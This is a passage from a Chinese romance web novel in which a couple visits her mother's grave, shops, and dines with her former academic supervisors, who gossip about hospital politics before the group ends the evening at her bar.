江问舟听了她的话,伸头出去看一眼客厅的挂钟,已经九点了,再不过多久就会停止供应早餐。 他索性出来拿手机,一边刷牙,一边现在小程序上将早餐点好。 齐眉见状立刻凑过来要一起看,江问舟将手机放到俩人中间,和她头靠头地一起看还有什么早餐可选。 叽里咕噜含含糊糊的商量了好半天,才终于下好单,等终于洗漱结束出来,已经快九点半。 匆匆换好衣服,齐眉简单的上了一层底妆,再画一点眉毛,一边往外走一边涂着口红:“可以走了,快点快点。” 江问舟合上手里的杂志,抬眼看向她今天的装束。 一件米黄色法式蕾丝刺绣短袖,领口宽一些,给了那颗戴妃款的真多麻色珍珠吊坠足够的展示空间,淡淡的灰色看上去比寻常的白珍珠多了一丝清冷感,倒很适合夏天。 她的阔腿裤也是米白的,刚好到脚踝,江问舟往鞋柜里看一眼,提建议道:“那双红色的一字带凉鞋怎么样?你今天的衣服颜色太素了。” 齐眉正犹豫穿哪双鞋呢,既然他这么说了,她索性顺水推舟:“好好好,听你的,你喜欢就好。” 江问舟一噎,又想起来她之前说过的那些话了。 忍不住叹口气,有些无奈地道:“你应该为你喜欢而选择它,不是为我,西西。” 他略微透着郑重的语气,叫齐眉闻言微微一愣,她不过是随口说说罢了,他怎么…… 她扭头看向江问舟,在他的眼睛里看到无奈和担忧,甚至很苦恼。 这种眼神她不是第一次在他眼里见到。 可以前是什么情况呢?她想了一下才想起来。 高三时干妈觉得小孩只有补好身体才有力气学习备考,一天四顿变着花样给她弄好吃的,饱了口福,体重也吹气一样上涨,好不容易到了大学,总算没人监督她进补,立刻开始张罗减肥。 减肥的方式里一定会有节食这一条,她又急于求成,饮食控制就更加严苛,一度连基本的碳水摄入量都不达标,江问舟带她出去吃饭,看她跟小猫一样只吃一点点,还以为她生病了。 等搞清楚她是要减肥,他晓以利害,从好言好语到真的生气,总算让她肯正常吃饭,虽然还是吃得不多,但起码该吃的都吃了,好歹没真的让身体出现问题。 那时候他看自己的目光就总是这样,不赞同,但也不知道该拿她怎么办才好。 那这次又是因为什么呢? 齐眉不傻,很快就明白过来,疑惑过后,心里随即一软。 “别这样呀哥。”她把手里的凉鞋往地上一扔,转身伸手去捧江问舟的脸,压下心里翻滚的情绪,笑眯眯道,“咱们就事论事,不喜欢的鞋我不会买,更不会纠结穿哪双,在我都喜欢的前提下,你提议穿这双,我答应,我解决了难题,你也高兴自己的建议被采纳,算不算两全其美?” “所以不要想太多,不要不高兴嘛。”她揉揉江问舟的脸,声音近乎于低哄。 江问舟被她勾出一点类似于委屈的情绪,抿抿唇:“我只是担心……” “我知道,你担心我会委屈自己,是不是?”齐眉打断他的话,踮起脚亲亲他的嘴巴,“没有,我没有觉得委屈,就事论事来说,这次真的真的没有哦。” 她要是说一直都不觉得委屈,这人肯定不信。 连她自己都不会信。 江问舟盯着她的眼睛,定定地看着,像是要把她的心思给全部看透。 这个时候要是躲开,反而会让她的保证失效,齐眉只得迎着他的目光,同样目不转睛的和他定定对视着。 直到眼睛有些酸了,才跺跺脚有些无奈地抱怨:“好了没有啊,我眼睛不舒服,我想眨眼了!” 说完嘴巴一抿,深呼吸一下,一副我努力再忍忍你这个傻叉的不耐烦样。 江问舟反应过来,有些讪讪,低头亲亲她的嘴角。 齐眉推开他,又看一眼他的唇,叹口气:“擦擦嘴啊,大哥。” 江问舟赧然,在玄关柜上的纸盒里抽了张纸,站在低头换鞋的齐眉身后,对着穿衣镜擦了擦嘴唇上的口红。 淡淡的红色印在雪白的纸上,他摇头笑了一下。 齐眉对着镜子检查过仪表,再往手腕上喷了点香水,再把手凑到江问舟脸上,问他:“新的,好不好闻?” 江问舟拥着她后背出门,一面将门带上,一面低头闻闻她手腕,嗯了声:“好闻的,很清爽。” “我特地挑的这个味道。”齐眉笑嘻嘻地应道,伸手挽住他胳膊。 说笑间方才的那点小插曲便被抛到脑后。 可因为这事,出门的时间比原计划迟了一点,到离小区最近的那家麦当劳时已经快十点半,他们只好改变主意,回车上吃。 “你看吧,都是你胡思乱想闹的。”齐眉吐槽道,“人就该活在当下,这还是你教我的呢,说以前的事都过去了,那你怎么还乱想。” 说着将左手的猪柳蛋递到他嘴边,继续嘟囔:“下次再这样耽误事我要你好看!” 江问舟尴尬得要命,耳朵都开始发烫,更不敢吭声,只一味低头接受投喂。 齐眉看他吃了一口,自己低头咬一口右手的那个猪柳蛋,细嚼慢咽地吞下去之后,咬了第二口,再把左手举到正开车的人嘴边。 就这样你一口我一口的吃完两个汉堡,江问舟正好在红灯路口停下,刚准备拿过豆浆,就见齐眉一把将豆浆抢了过去。 “我来我来,我来喂你!啊——” 江问舟看着递到嘴边的吸管:“……”好好好,也是让你找到新乐趣了:) 但他刚惹恼过齐眉,一时也不敢再逆她的意,只好半推半就地就着她的动作赶紧把豆浆喝完,正好绿灯亮起。 车子在距离烈士陵园不远的一家花店门前停下,他们下车进了店里,店员正在包装花束,见他们进来便笑着招呼道:“需要点什么花?” 齐眉环顾一周到处摆放着各式花材的花店,扭头向店员咨询:“我想送我妈妈一束花,但是不太想送康乃馨或者百合,请问还有别的合适的花推荐吗?” “向日葵怎么样?搭配满天星。”店员笑着回答道,“向阳而生,很有生机和活力,而且妈妈的爱也如满天繁星,这个寓意很不错,您觉得呢?” 齐眉听完笑起来,说实话,妈妈如繁星般的爱她是没从肖骊那儿感受到过多少,但她本人确实已经成为一颗星星。 “那就麻烦你们帮我这样搭一束吧。”她笑着点点头。 很快就拿到了一束以向日葵为主材,点缀着满天星和尤加利叶的花束,用漂亮的粉色包装纸包裹着,丝带系成漂亮的蝴蝶结。 齐眉道了谢,将花抱在怀里,笑眯眯地等江问舟付钱。 出门时江问舟伸手,往后轻轻一摆,就抓住了她的手腕。 从花店出来,开车再走十来分钟,就能远远地看到烈士陵园里高高矗立的纪念碑了,周围的环境也越来越安静。 穿行过林荫路,他们抵达陵园对面,江问舟找地方停好车,齐眉深吸口气,这才推门下车。 入园是提前预约的,校验过信息后他们被放行。 并不是什么重大的日子,陵园里安静空荡,干净的地砖已经有些旧了,一路延伸到广场中央的纪念碑前。 江问舟和她牵着手,谁都没有说话,沉默地瞻仰过纪念碑,便沿着后方的山道一路向上。 每一座碑铭下都埋葬着一个英魂,他们全都为了这片土地和生活在这片土地上的人,付出了自己生命的代价。 每个人都有一段属于自己的、足以写进教材的故事。 “好像那棵树修剪过了。”齐眉忽然出声,指着远处的绿化带对江问舟道,“还多种了几棵灌木,我清明节过来的时候在这个位置看那边不是这样的。” 江问舟回过神,顺着她指的方向看过去,应道:“是么。” 话音刚落,他们已经在肖骊的墓前停了下来。 齐眉弯腰将花束放在墓碑前,然后良久沉默。 江问舟以为她心情不好,正准备安慰几句,就听她忽然叹口气,扭头看向他,神情有些郁闷似的。 “想说点什么,但又好像没什么可说的,要不咱们这就……撤了?” 江问舟微微一愣,旋即失笑,他抬手按住她的头顶,将她的脸转回去,“那你跟阿姨说说我们的事,跟她说,下次来我是她女婿了。” 哎呀,还要讲这个! 齐眉有点不好意思,脸上不由得一热。 但她还是回过头去,嘟嘟囔囔念念有词:“妈妈,我跟我哥又在一起啦,干爸干妈都同意了的,你和爸爸要保佑我们一直一直好好的哈。” 顿了顿,她又说:“保佑我哥多发论文。” 江问舟:“???”你今天怎么比我还上进,好突然:) 他好笑地伸手揉揉她的脑袋,叹了口气。与其期待祖先保佑,不如自己努努力。 从陵园出来,已经是正午时分,太阳还是那么炽烈,空气闷闷的,一丝风也没有。 他们去了齐眉一早计划好的那家商场,先去楼上的茶餐厅吃午饭,齐眉要了份沙嗲牛肉公仔面和西多士的套餐,套餐里还有一杯鸳鸯,江问舟见状便点了和她完全不一样的。 套餐送上来第一件事,齐眉就跟他说:“你的给我留一口,好不好?” 他顿时哭笑不得,点点头应好,他就知道会是这样。 吃过午饭,俩人也没找地方午休,径直去服装店,先是去给江问舟买大衣,驼色的纯羊毛双面呢大衣,双排扣的款式挺括硬朗,江问舟穿上既帅气又雅致,特别显身材。 齐眉看着他一阵星星眼:“你冬天穿着这件大衣去给学生上课,会不会被偷拍发到网上去?标题就是你有这么帅的外科学老师进入课堂,嘿嘿。” 江问舟一脸无语:“……谁会这么有空。” 齐眉斜着眼乜他,“我就会啊,我们寝室以前会对每一个带课老师都议论一番。” 这可真够闲的,看来还是作业不够多,江问舟没好气地嗔她一眼,把衣服脱下来。 这大衣样样好,就是对钱包不太友善,反季来买,打了折都还要两千多。 江问舟对齐眉说算了吧,旧的还能穿穿呢,可齐眉才不听他的,一面嘟囔好的大衣可以穿N年,一面满脸肉痛地刷卡。 江问舟只好忍着笑跟她保证:“我努力穿个十年八年,拉低一下使用均价。” 这还差不多,齐眉哼哼两声,挽住他的手,一面往外走,一面兴致勃勃地说这件大衣真的很好看,云云。 从服装店出来,他们去内衣店,齐眉有惯穿的牌子和喜欢的面料,也不怎么想买新款,进去之后不到二十分钟,就买好两套内衣要走了。 出来之后,江问舟才突然小声说了句:“你这次怎么没问我喜不喜欢?” 以前都问的,哪怕是意思意思,她都会问他喜不喜欢她穿这个颜色这个款式。 可是这次她连意思意思的意思都没有。 齐眉听他语气好似有些遗憾似的,忍不住吐槽道:“你这人真的好麻烦,还记得出门前你跟我说什么吗?要以我喜欢!” 所以问你干什么!? 江问舟:“……”这怎么不算是搬起石头砸自己的脚呢:) ————— 下午四点十分左右,齐眉和江问舟比约定时间早一点到了莫教授参加学科论坛的酒店,在大堂的等候区找位置坐下。 齐眉一边跟江问舟说话,一边忍不住一个劲的往前台那边看。 总觉得下一秒老师就出现了。 江问舟见状忙安慰她道:“放松点,不要太紧张。” 他觉得没必要,就是跟老师一起吃个饭而已,以前吃得还少了?也就两三年没见,用不着这么战战兢兢。 “……这怎么一样。”齐眉咕哝,可江问舟让她细说怎么不一样,她又说不上来。 随着时间推移,这份忐忑更加明显,她的神经紧张到手机信息的叮咚提示音也会轻易把她吓到。 看她拍着胸口一副惊魂未定的模样,江问舟颇有些哭笑不得。 反正他是没招了,只能靠她自己调节了。 是莫教授发来的信息,问她现在到了哪里,他们会议结束了,马上就可以下来。 齐眉连忙回复说她和江问舟已经在楼下大堂了,让她慢慢下来,时间还早,不着急。 但信息发出去之后没过多久,莫教授的身影就出现在了他们的视线里。 也不是只有她一个人,同行的还有好几位女士,有说有笑的边走边聊,说的话远远传过来,齐眉大概能听明白她们是在说晚上要去容城百货商场买衣服。 “说起来,我也很久没陪干妈去容百买衣服了诶。”齐眉忽然扭头对江问舟说了这么一句。 江问舟听着没头没尾的,不由得一阵失笑。 她这是紧张到胡言乱语了么?他抬手拍拍她的后脑勺,温声应道:“那就下周休息的时候去,不然你给我买了衣服,没给妈买,她又要吃醋了。” 又要说什么我家猪拱了我家白菜可怎么办啊这样的话了。 齐眉看都不看他,只望着莫教授那边,点点头嗯了声。 正巧,莫教授这时抬头往这边看了过来,似乎一眼便看见她了,抬手冲她挥了一下。 然后转头跟参会的同行道别,说:“我学生在那边等我,我先过去了,你们晚上好好玩。” 同行的两位主任跟她差不多年纪,认识多年了,关系很不错,闻言笑道:“你的学生就是我们的学生,正好,走走走,去认识认识。” 闲着也是闲着嘛,就当是凑热闹了。 于是几个人一起往齐眉和江问舟那边走。 俩人连忙起身,齐眉用眼角的视线往旁边一撇,看见江问舟悄咪咪地拽了一下衣摆。 嗯,看来他也有点紧张呢。 但莫教授没给她想太多的机会,很快就走到了他们面前,笑着招呼道:“小齐,小江。” 说着冲齐眉张了张手臂,齐眉心里的紧张顷刻间像皮球里被放出来的气,噗嗤噗嗤漏了个干净。 她往前走了两步,和莫教授拥抱在一起,声音变得轻快:“老师好久不见。” “好久不见。”莫教授拍拍她的背,笑着问道,“这两年过得怎么样,好不好?” “好的。”齐眉点点头,松开她。 莫教授拉着她的胳膊,上下左右打量她一番,看她确实面色红润眼神明亮,还是记忆中那个样子,只是眉眼间多了几分稳重,这才松了口气。 “看样子没说谎,是越来越漂亮了。”她笑着调侃道,又同江问舟打招呼,“几个月不见,小江看起来也比以前更帅了。” 那是一种生活安定无忧无虑才能有的气定神闲,他们俩身上都出现了。 莫教授觉得十分欣慰。 她转身给两个学生介绍同行的两位主任,一位是和一样从申城来的,是申医附院妇科的刘主任,另一位是东北某省会人民医院妇产科的夏主任,早年和莫教授在同一单位共事过。 两位主任都笑眯眯的,看起来十分和善,齐眉乖巧问完好,刘主任便问道:“小齐在那个单位工作啊,这几天怎么没来听课,值班啊?” 她是想说这次峰会还是有点新鲜东西的,青年医师多听听多看看,没有坏处。 可还没来得及说,齐眉就笑着摇摇头道:“我在民航医院,工作地点是在机场,算是去做急诊了,离得有点远,都不知道这几天老师们过来参会。” 这种学术会议的通知根本发不到她工作群里来。 刘主任一愣,有些惊讶地看看莫教授,神情似乎欲言又止,变得有些怪怪的。 大概是想问她明明有莫教授这样的导师,为什么不从事相关专业的工作,不搞妇科也可以是产科,怎么偏偏就去了急诊。 而且还是机场急诊,听起来就不像能很有前途的样子。 莫教授笑笑,替她解释道:“各人有各人的想法和追求,做科研很好,安稳点也不错,况且她家里两个都这么忙,以后小孩和老人也没人管,喏,她家小江,年纪轻轻就副高了,家里有一个这么好前途的也差不多啦。” 一家人生活在一起,无非是互相妥协和迁就,肯定都各有牺牲,虽然齐眉如果顺利读完博走科研的路子,也会有很好的成就,但莫教授不觉得她现在这样有什么不好。 不管是名成利就,还是平淡安稳,只要她自己觉得高兴,过得自洽,就已经很好了。 刘主任对莫教授的这番说法不置可否,笑着点点头,跟他们寒暄几句,还跟江问舟聊了一下妊娠合并心脏病的治疗问题,然后在酒店门口和他们分开。 临走齐眉还介绍了容百附近几处值得一逛的地方,比如某家卖手信的店产品都地道又平价,某家的姜葱鸡是老字号本地人都很喜欢,诸如此类。 等终于上了车,她听见莫教授重重地松口气,无奈道:“耳根子终于清净了!” “我看您和两位主任都聊得很开心。”齐眉在副驾驶回头,笑着说了句。 “是聊得开心,可她们嗓门大啊。”莫教授摇摇头,语气还是无奈,“不过嗓门不大也不行,有时候嗓门够大,才不会让人欺负到脸上来。” 齐眉闻言沉默了片刻,才问道:“您嗓门也变大了?” “没听出来吗?”莫教授笑眯眯地反问,往车后座上一靠,失笑,“这半年吵的架,比过去几年加在一起都多,嗓门这不就练出来了?都是没办法的事。” 嘴上这样说着,可神色不见一丝厌烦。 江问舟从后视镜里向她,只在她脸上看到志得意满的笑。 权力这种东西只要试过一次,就知道有多美妙,哪怕吃一点苦有一点烦心,都绝不会放手,在这点上,男女平等。 齐眉显然想不到这一点,或者说她想到了,但并不在意,因为和她无关、离她太远。 她只关心眼前:“那样很辛苦吧?” 她的眼眸干净明亮,只有关切和担忧,莫教授看得心里一软,想起来她们第一次见面。 是江问舟联系到她,说他妹妹有意报考她的研究生,想来跟诊几天看看合不合适,出于对江问舟和他导师郭教授的信任,她同意了。 几天后她见到身后跟着江问舟的齐眉,乖乖巧巧地叫老师好,漂亮的眼睛里都是好奇和紧张。 她学习努力又认真,也很聪明机灵,加上又有江问舟的帮助看顾,他们都觉得,齐眉未来的学术道路一定会很顺畅,甚至可以说是一条罗马大道。 要不是后来出了那样的事…… 她的眼神如今还能是从前的模样,已经很难得了。 莫教授笑着道:“辛苦是有一点,但有些想法确实需要辛苦一趟才能实现,人不能既要又要,就像你们容城人说的那样,要吃咸鱼就要顶得口渴,对吧?” 齐眉嘿嘿一笑,点点头:“是这样没错。” 说话间车子路过一处广场,她换了话题向莫教授介绍起沿路的建筑,说这边靠近市图书馆,她是从小就来的。 离吃饭时间还早,江问舟索性开车绕了一段路,没有按原定路线前往沿江路的饭店,而是重新规划了一条远一点的路,往木偶戏院那边走。 那是旧时的市中心地段,路过步行街路口,齐眉边说:“从这里进去不多远就可以看到容百啦,早知道刚才把两位主任也捎上了。” “本来也没打算走这边。”江问舟慢悠悠地应道,“不过这边可以逛的地方多,几个名人故居,木偶戏博物馆,步行街,美食街离这边也不远,吃喝玩乐一条龙,老师下次如果时间充裕,不妨在这边逛逛。” 莫教授隔着车窗玻璃往外看,笑道:“这边看起来很热闹,人来车往的,烟火气很足。” 她刚说完这句话,齐眉就突发奇想:“要不我们在这边吃饭算了?” 莫教授还没反应过来,江问舟就问:“那你之前订的位怎么办?” “取消掉就好了呀。”齐眉耸耸肩,“关键的问题是,郭教授和师母出门了吗?” 江问舟嘴角一抽,默默递上自己的手机。 但还是忍不住吐槽她:“想一出是一出,你这也太随心所欲了。” 齐眉不好意思地噘起嘴。 万幸接通电话后,郭教授和爱人刚刚出门,说是刚上车,还问他们是不是已经到了。 “没有没有,我们……呃、是我,临时想换个饭店,之前订的那家虽然也是大家常去的,但还是太商务了,想换一家更加本地一点的饭店,您看……方便吗?” 说完她又很不好意思地道歉,说自己实在太冲动。 可现在话已经说完,再改口说不换了,好像也有点不妥。 好在郭教授不介意,笑着答应了下来,让她把新的地址发过去。 齐眉这次挑的是在元宝路上的一家酒楼,“很多年了,我们从小吃到大的。” 比起她,江问舟这个在容城出生长大的更加有发言权,“我四五岁的时候就开始吃那家了,爸妈很喜欢他们那里的烧鹅,不过这么多年过去,管理酒楼的应该是第二代甚至是第三代了吧,换了人管理,理念和以前不一样,就不一定能保持住味道了。” 莫教授闻言就叹气,说别说是几十年跨度了,就是几年,都有可能变味。 “咱们单位门口有一家卖板面的你们记不记得?小齐以前经常晚上说要去吃的那家。” 齐眉立刻点头,问怎么了。 莫教授摇摇头,语气可惜:“去年有一次有个大博主收到观众推荐,去他们家拍了测评视频,他们的生意一下就变得更好了,因为客人多了,出餐水平不稳定,慢慢味道就有点不如以前,后来还涨价了,说是原材料成本上涨,现在就是又贵又难吃,没有以前的味道喽。” “怎么这样啊……”齐眉惊讶,“我还想着下次有机会去申城,再去吃一次呢。” 莫教授看她一眼,看见她神情里没有丝毫躲避和排斥之类的情绪,不由得松口气。 又觉得很欣慰。 “还有别的嘛,也不是每一家店都像他们那样火了就开始飘。” 她话音刚落,车子进了一处停车场。 “车进不去里面步行街,我们得走路进去。”江问舟对莫教授解释道。 齐眉则是忙着用江问舟的手机给郭教授分享停车场的位置。 元宝路是容城很有名的美食街之一,街道两旁商铺林立,很多门头都有些旧了,明显看得出岁月痕迹。 一路走,齐眉一路给莫教授介绍自己吃过的店,看见汤店里坐满人,莫教授还说了句昨晚他们在酒店吃饭,喝到一例羊肚菌鸡汤就很不错。 走到差不多街尾,就到了他们半路改变主意挑选的酒家,它在二楼,上去的楼梯有些狭窄,墙上贴着很多广告海报,新的旧的都有,墙角还有青苔生长的痕迹,一看就很有年头了。 正值饭点,店里都快坐满了,齐眉想要包厢,但她没有提前预定,服务员告诉她已经没有了,只好在大堂挑了张大桌。 烫碗的热水刚端过来,郭教授和爱人就到了,共事多年的老同事隔了大半年不见,自然少不了一番寒暄。 齐眉听着他们寒暄,默默将菜单递过去。 莫教授接过菜单,低头扫了一眼,说的却是:“我前天中午从单位出来去机场的时候,碰见方智馨了。” 齐眉倒茶的动作一顿,扭头看向她。 第84章 第八十四章(二合一)他爱齐眉的灵魂…… “方智馨……方仕平他女儿?”郭教授听了莫教授的话,想了一下才想起来是谁,长什么样。 然后接着才是问:“她怎么了?” 莫教授摇摇头:“没怎么,她是回来办离职手续的。” “辞职?她怎么辞职了?”郭教授没细想,随口便问。 莫教授看一眼江问舟,然后收回目光,问他:“你说呢?” 这儿也没外人,老郭你装什么装! 郭教授这时才反应过来,恍然大悟地哦了声,笑着道:“没评上副高,对她打击这么大?” “她那脾气哪儿受得了人家的挤兑。”莫教授有些无奈地笑笑,扭头对齐眉道,“你知不知道这事,小江有没有跟你讲?” 齐眉老实点头:“我听我哥说她和他们科的黄琪互相举报,然后都没有评上,让别人渔翁得利了。” “梁立敏,今年他们科评上副高的是梁立敏。”莫教授觉得这事好笑,“黄琪气得要死,结果出来没多久,有一次开什么会,大家都在,她当场跟方智馨吵起来,说了离了她爸就是个狗不理包子,方智馨就骂她给齐瑞当小三连狗都不如……” 齐眉听到这里,一愣,竟然打断了自家导师的话:“嘎?齐……是、那个谁?” “大胆点说!”莫教授嗔她一眼,“人名就是让人叫的,再说你都毕业几年了,他也管不到你,所以可以大胆点喊的大名。” 齐眉不好意思地嘿嘿两声。 郭教授的爱人沈老师闻言先是问:“黄琪是不是……戴眼镜斯斯文文,左边嘴角这里有颗痣,鼻梁上还有点小雀斑的那个?” 莫教授点点头,她便倒吸一口凉气,扭头问郭教授:“老齐比你小不了多少吧,有五十了?” “五十多了,就比我小两岁,孩子应该都大学毕业了。”郭教授回答道。 “他们俩差这么多,怎么会……”沈老师十分想不通,“要升副高,顶多跟小江差不多,三十左右,老齐都能当她爸了,还是有家室的,她到底怎么想的。” 齐眉回过神来,神色相当复杂:“我没记错的话……黄医生是齐院长的学生吧?” 莫教授他们说的齐瑞,是申大医学院的院长。 由此可见,方仕平当初能那么嚣张,申大一附院的风气如此之差,并非毫无缘由,有时候烂是从根里就开始的。 “所以也有人趁机举报齐瑞乱搞男女关系,但是被学校按住了,给他记了处分,也没闹到网上形成舆论。”莫教授继续道,“这事之后方智馨挂不住脸,而且临床考核要求又多,没她爸帮忙,她这种享惯福的,不可能沉得下心搞实验和临床,就想转到行政去。” 正好沟通办有个职工离职,要找人接替她,方智馨就盯上了。 “沟通办的老吕知道了就说,这个可是两面受气的活,患者来投诉,情绪往往是不好的,你去找临床科室处理问题,他们也情绪不好,她这大小姐脾气,别到时候跟人吵起来,还激化矛盾了,不行不行。” 方智馨被意向科室的领导拒绝,又被同科室的同事排挤,深感世态炎凉,干脆就辞职了。 江问舟这时问:“她那个对象呢?赵轩。” 他依稀记得,方仕平被留置的*消息刚传来,这人就立刻跟方智馨分手划清界限,现实得不得了,全然忘了自己曾经从方家父女那儿得到过多少好处。 “他倒是还在原科室,但怎么说呢……”莫教授耸耸肩,“陶青的日子就没以前好过,他更不用说了。” “向栾那小子干得怎么样?”郭教授这时问道。 有了离开申大附院的打算以后,郭教授就开始谋划让大弟子向栾接自己屁股底下这张科主任的椅子。 江问舟的入局让方仕平很快开始自顾不暇,陶青借不上力,所以最后向栾上位得毫无疑问。 “还不错。”莫教授点点头,“我看着心血管的风气这段时间是好了点,李秀这个人你也知道,实干派,跟向栾倒是脾气很相投。” 方仕平倒台后,接任他成为大科主任的是原来和郭教授同级别的另一位主任。 齐眉记得这位李主任,是一位个子有些瘦小,少言寡语,说话语气温和,但语速有点慢,戴着一副黑框眼镜,梳着齐耳短发,手术做得非常好,来找她的病人很多,听说带学生也很尽心尽力,她还没确定研究生想读什么方向时,江问舟就向她推荐过李主任。 就是传闻她有点抠门,但怎么都比方仕平好十倍百倍。 “那就好。”郭教授闻言满意地点点头,又叹口气,“积弊太重,想短短几个月就完全去除沉疴也不现实,只能慢慢来了。” “其实现在已经在大刀阔斧地改了。”莫教授用平静温和的语气说起最近院里的人事变动,“已经开始缩编了,先是精简行政科室的人员,个别临床科室也要合并……” 无非是趁最近上头的东风,顺水推舟进行一场深入改革,再不改,申大附院的招牌都要被砸进泥里了。 江问舟和两位老师聊起这事,齐眉觉得跟自己没什么关系,遂同郭教授的爱人沈老师一起研究起菜单来。 三个大忙人加起来也就只点了一个青菜和半只烧鹅,剩下还得靠她们。 饭店的今日例汤是海底椰炖响锣,里面有鸡肉,但量少,不影响齐眉下一个就点了半只白切鸡,又和沈老师商量还要什么别的。 “点小份的吧,吃不完也不好,虽然打包了也不浪费,但毕竟是剩菜。”沈老师翻着菜单建议道。 齐眉点头应好,最后按人头点了七菜一汤,听着有点多,但好在小份的量都不多,大家吃下来刚刚好。 最后齐眉扫一眼,还剩两块鸡肉,这点东西不值当用一个打包盒,于是她拍拍江问舟:“你快把它吃完,我去个洗手间。” 说着起身提上包就要出门。 门都拉开了,还听到莫教授慢悠悠地在背后说了句:“你要是尿遁去结账呢,就不用跑这一趟了,让服务员过来吧,我们不跟你抢。” 齐眉:“……” 她握着门把手仰头看看天花板,最后还是装作若无其事地转身回来了。 坐下时听到大家的笑声,她抿着嘴有些不好意思。 江问舟把最后两块白切鸡吃完,一边擦嘴擦手一边笑道:“还不是我们主任闹的,上次跟他还有沈老师一起吃饭,吃完了在那儿抢着结账,拉拉扯扯的看着让人心急。” 郭教授啧了声:“关我什么事……” 话没说完,就被莫教授打断:“老郭你也真是,这有什么可抢的,咱们做长辈的,吃小孩一顿饭怎么了?” 郭教授立刻往椅背上一靠,抱着胳膊翻江问舟白眼:“拿我转移火力是吧?” “没有,怎么会,老师你别多想。”江问舟立刻否认三连。 齐眉抿着唇在一旁笑着听。 等服务员拿着POS机来,就赶紧把账结了。 接着问几位老师:“去我们店里坐坐吗?离得也不很远。” “我回酒店也没什么事,那就去呗。”莫教授爽快答应道,说要去看看学生的事业做得怎么样。 “你就当是学校的就业调查。”她最后拍拍齐眉的肩膀。 齐眉嘴角一抽:“……我不会是最不务正业的吧?” “什么叫正业?”莫教授哼笑,“为了生活做的正经工作都叫正业。” 大学毕业没做本专业相关工作的可太多了,莫教授和她说起自己知道的往届学生的去向。 “做什么的都有,回去接班的,去开烧烤店的,考公的,当老师的,做自媒体的,去医考机构医学网站的,还有在家全职带孩子的。” “就算还当医生,也不一定是在医院了,有的在学校,大中小学都需要校医,幼儿园也需要保健医生,还有监狱要狱医,就算是医院,也有民营和公立之分。” 刚说到这里,郭教授就回头接了一句:“我听说小齐这一届,有一个男生去当私人家庭医生的?” 莫教授想了一下才道:“好像是有这么个人,那时候学生填完就业去向表,他们导员还去了解过,怕他是被人骗了,结果是人家家长有关系,上大学以前就定好的去处。” 所以这个没什么普遍参考价值,如今国内能请得起私人家庭医生的家庭不过十之一二。 后来还说起他们以前的同学,有的也早就不在临床了,各有去处,也都过得还不错。 齐眉权当吃瓜,听得津津有味。 一行人到店里时已经晚上八点多,正是客人渐多的时候,店里放着很抒情的轻音乐,调酒师正在做酒,服务员忙着将客人点的酒送过去,虽然忙碌,但也有条不紊。 看见齐眉和江问舟进来,田乐和佟林打了声招呼,刚要问另外几位客人喝点什么,就听齐眉道:“这是我导师,来容城开会,顺道过来坐坐。” 接着扭头对江问舟道:“哥,你带老师他们找地方坐呗。” 俩人一听这话就知道,这几位客人不需要他们招呼了,于是也只打了声招呼,就继续忙了。 莫教授好奇地打量着店里的装修,观察着店里的客人和上座率,等坐下之后才问江问舟:“生意能一直这么不错?” “现在是旺季,生意好。”江问舟实话是说,“西西说淡季的时候要冷清点,但我还没看过淡季是什么样的。” 莫教授问起房租水电之类的经营成本,江问舟挑自己知道的来讲,刚聊了一会儿,齐眉就过来了。 她也没坐下,只笑着问大家要喝什么,除了经典酒款,她还兴致勃勃地向他们安利这几天上新的新款特调。 “用獭祭大吟酿和山竹调的,酸酸甜甜还有点米酒香,冰镇过很清爽,很适合这个天气,要尝尝吗?” 江问舟和郭教授是保守派,有点担心不符合自己口味,于是一人点了新加坡司令,另一个要了莫斯科骡子,两位女士倒是都要了新款的特调,主要是一说米酒,就本能的觉得度数不高。 他们的酒都是齐眉调的,小宋同学帮忙送过来。 莫教授看着他说了一句小朋友看起来年纪不大,这么早就出来讨生活啦,江问舟立刻就介绍:“这是我们科宋主任的侄子。” 郭教授一听,端到嘴边的酒杯立刻放了下来,“……老宋家的那个?” 顿了顿,他冲小宋同学招手:“来,过来,我问问你啊,怎么高中还没读完就不想上学了啊?” 当老师的没有一个能听得下去这种事,莫教授和沈老师立刻就坐直了,一个问你几岁啦,另一个更直接,问是不是家里经济条件不好。 小宋同学被这种三堂会审的阵仗吓到,只能老实地一问一答,越说声音越低,听起来就十分的心虚。 齐眉端着自己的那杯新特调过来的时候,正好听见沈老师批评小宋同学,说他把做生意这件事太想当然了。 “要是你有文凭,以后做生意万一失败了,找工作的选择余地还大一点,考公还对研究生学历和本科学历的年龄限制做区分呢,它绝不是浪费你时间的无用纸片,而很可能是你以后多一个选择的筹码。” 小伙子低着头,点点。 齐眉有些幸灾乐祸地笑着问他:“怎么,挨骂啦?” 小宋同学抬头,看着她的目光里透着淡淡的活人微死的味道,好像在说:救救我! 那不可能,就得让他多听老师们念念,数落数落,最好再多听一点小小年纪不读书去干什么了的例子。 这方面沈老师知道得最多了,她带过那么多小朋友,半路辍学的见多了。 就连和小宋同学情况差不多的也不是没有,“不过他是家庭原因,爸爸治病把家里钱都花没了,还欠了很多债,妈妈也病倒,妹妹也读初一,到处都要花钱,他才决定辍学去打工,是迫不得已。” 况且人家过了两年缓过来了,又回去念书了,“越是经历过困难,就越知道读书有多重要,这已经是相对公平的命运的方式了。” 郭教授则开玩笑似的跟他说:“只有个高中学历,以后要是碰到喜欢的姑娘,要是本来你们有可能,因为你学历那么低,人家就不愿意了,你难不难过,会不会自卑?” 齐眉一面听一面坐下,将酒杯放在桌上。 刚放下,酒杯就被江问舟端走了,刚才说不要特调怕踩雷的人,这会儿一口就把她的酒喝掉了三分之一。 齐眉:“……”我看你也很需要教育教育! ————— 跟莫教授见的这一面,从她的话语里知道的一些故人的消息,让齐眉多少有点五味杂陈。 晚上忙完收工回去的路上,她忍不住跟江问舟感慨:“这才多久,感觉一切都物是人非了,以前她这么……潇洒,人人都羡慕她,有些嫉妒的也不敢当着她的面说出来。” 她这话说的是方智馨,江问舟笑笑,语气一点波动都没有:“你要是站在高楼豪宅窗后,也可以俯视众生,但这座豪宅的地基如果是歪的,就很容易大厦倾颓。” 所以方仕平一倒,方智馨就跟丧家之犬无异了。 “她最让人忌惮的武器没有了,她就是一只拔了牙的老虎。”江问舟语气淡淡,转瞬便说起其他事,“你前段时间说要休年假,安排好了?” “安排好了!”齐眉的声音立刻变得轻快起来,“下下周周一到周五,我跟排我前面的蓝医生换了个班,可以从下周六就开始休,刚好休整整七天!” “哥你休不休年假,休的话我们一起出去玩啊?”她兴致勃勃,已经开始在脑海里盘算去哪儿玩比较好了。 江问舟嘴角一抽:“首先,你休年假那一周,学校要开学了,我得带课。” 